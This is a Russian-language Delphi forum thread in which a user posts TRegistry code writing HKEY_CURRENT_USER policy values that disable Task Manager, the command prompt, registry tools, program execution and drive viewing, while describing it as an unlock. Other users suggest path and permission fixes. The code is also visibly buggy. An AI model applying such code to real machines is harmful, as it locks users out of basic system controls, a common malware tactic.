Форум программистов
 
О проблемах, например, с регистрацией пишите сюда - alarforum@yandex.ru, проверяйте папку спам! Обязательно пройдите активизацию e-mail, а тут можно восстановить пароль.

Вернуться   Форум программистов > Delphi > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Здесь нужно купить рекламу за 20 тыс руб в месяц! ) пишите сюда - alarforum@yandex.ru
Без учёта ботов - 20000 человек в день, 350000 в месяц.

Ответ
 
Опции темы
Старый 02.05.2014, 15:54   #1
phonex
 
Регистрация: 01.05.2014
Сообщений: 9
По умолчанию Delphi 7 работа с реестром

всем привет вообщем есть код:
Код:
var
reg: TRegistry;
begin
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVer sion\Policies\System', True);
reg.WriteString('DisableTaskMgr','');
reg.CloseKey;
reg.Free;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\\Microsoft\\Windows\\Current Version\\Policies\\Explorer', True);
reg.WriteString('NoViewOnDrive','a');
reg.CloseKey;
reg.Free;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\\Microsoft\\Windows\\Current Version\\Policies\\Explorer', True);
reg.WriteString('RestrictRun','a');
reg.CloseKey;
reg.Free;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\\Microsoft\\Windows\\Current Version\\Policies\\Explorer', True);
reg.WriteString('NoClose','a');
reg.CloseKey;
reg.Free;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\Policies\Microsoft\Windows\S ystem\DisableCMD', True);
reg.WriteString('DisableCMD','a');
reg.CloseKey;
reg.Free;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('software\Microsoft\Windows\CurrentVer sion\Policies\system\DisableRegistryTools', True);
reg.WriteString('DisableRegistryTools','a');
reg.CloseKey;
reg.Free;
но он не работает(данный код разблокирует некоторые функции реестра)в чем ошибка?и как данный код на одну кнопку уместить?



________
Код нужно оформлять по правилам:
тегом [CODE]..[/СODE]
(это кнопочка на панели форматирования с решёточкой #)
Не забывайте об этом!

Модератор.

Последний раз редактировалось Serge_Bliznykov; 02.05.2014 в 16:03.
phonex вне форума Ответить с цитированием
Старый 02.05.2014, 16:29   #2
nikcpp
Пользователь
 
Регистрация: 05.04.2011
Сообщений: 35
По умолчанию

Обрати внимание на правильность написания путей к веткам

CurrentVersion - должно быть так без всяких пробелов
System - должно быть так без всяких пробелов
nikcpp вне форума Ответить с цитированием
Старый 02.05.2014, 16:34   #3
phonex
 
Регистрация: 01.05.2014
Сообщений: 9
По умолчанию

Цитата:
Сообщение от nikcpp Посмотреть сообщение
Обрати внимание на правильность написания путей к веткам

CurrentVersion - должно быть так без всяких пробелов
System - должно быть так без всяких пробелов
исправил не работает(((
phonex вне форума Ответить с цитированием
Старый 02.05.2014, 22:15   #4
nikcpp
Пользователь
 
Регистрация: 05.04.2011
Сообщений: 35
По умолчанию

как именно не работает, ошибки какие то или что то еще???
nikcpp вне форума Ответить с цитированием
Старый 02.05.2014, 22:17   #5
WeezyWayne
Пользователь
 
Регистрация: 26.04.2014
Сообщений: 26
По умолчанию

Цитата:
Сообщение от phonex Посмотреть сообщение
всем привет вообщем есть код:
Код:
var
reg: TRegistry;
begin
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVer sion\Policies\System', True);
reg.WriteString('DisableTaskMgr','');
reg.CloseKey;
reg.Free;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\\Microsoft\\Windows\\Current Version\\Policies\\Explorer', True);
reg.WriteString('NoViewOnDrive','a');
reg.CloseKey;
reg.Free;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\\Microsoft\\Windows\\Current Version\\Policies\\Explorer', True);
reg.WriteString('RestrictRun','a');
reg.CloseKey;
reg.Free;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\\Microsoft\\Windows\\Current Version\\Policies\\Explorer', True);
reg.WriteString('NoClose','a');
reg.CloseKey;
reg.Free;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\Policies\Microsoft\Windows\S ystem\DisableCMD', True);
reg.WriteString('DisableCMD','a');
reg.CloseKey;
reg.Free;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('software\Microsoft\Windows\CurrentVer sion\Policies\system\DisableRegistryTools', True);
reg.WriteString('DisableRegistryTools','a');
reg.CloseKey;
reg.Free;
но он не работает(данный код разблокирует некоторые функции реестра)в чем ошибка?и как данный код на одну кнопку уместить?



________
Код нужно оформлять по правилам:
тегом [CODE]..[/СODE]
(это кнопочка на панели форматирования с решёточкой #)
Не забывайте об этом!

Модератор.
Не буду говорить что шарю, но пробелы и двойные слеши так и должны быть ?
Да и правка реестра требует прав администратора.

Последний раз редактировалось WeezyWayne; 02.05.2014 в 22:21.
WeezyWayne вне форума Ответить с цитированием
Старый 03.05.2014, 02:02   #6
northener
ПШП
Участник клуба
 
Регистрация: 15.07.2013
Сообщений: 1,620
По умолчанию

Цитата:
Да и правка реестра требует прав администратора.
Только не в разделе HKEY_CURRENT_USER.
northener на форуме Ответить с цитированием
Старый 03.05.2014, 12:09   #7
denis76560
Форумчанин
 
Регистрация: 13.01.2010
Сообщений: 121
По умолчанию

Если модуль registry в USES подключен должно работать.
Хотя недавно обнаружил что это зависит еще и от операционной системы.
У меня после переустановки на win7 64x без напильника не обошлось.
Пишите описание ошибки, и при каких обстоятельствах.
denis76560 вне форума Ответить с цитированием
Ответ

Здесь нужно купить рекламу за 20 тыс руб в месяц! ) пишите сюда - alarforum@yandex.ru
Без учёта ботов - 20000 человек в день, 350000 в месяц.

Опции темы


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Работа с реестром alexey_kip Win Api 2 16.03.2013 00:18
работа с реестром world12_tk Помощь студентам 0 04.10.2011 23:39
Работа с реестром в Delphi Oleg Romanchuk Общие вопросы Delphi 10 02.08.2010 01:41
[Delphi] Работа с реестром несколько раз (с помощью одной переменной) zotox Помощь студентам 2 26.08.2009 00:58
работа с реестром. kozei Win Api 6 17.07.2007 13:31


Проекты отопления, пеллетные котлы, бойлеры, радиаторы
интернет магазин respective.ru
Пеллетный котёл Emtas
котлы EMTAS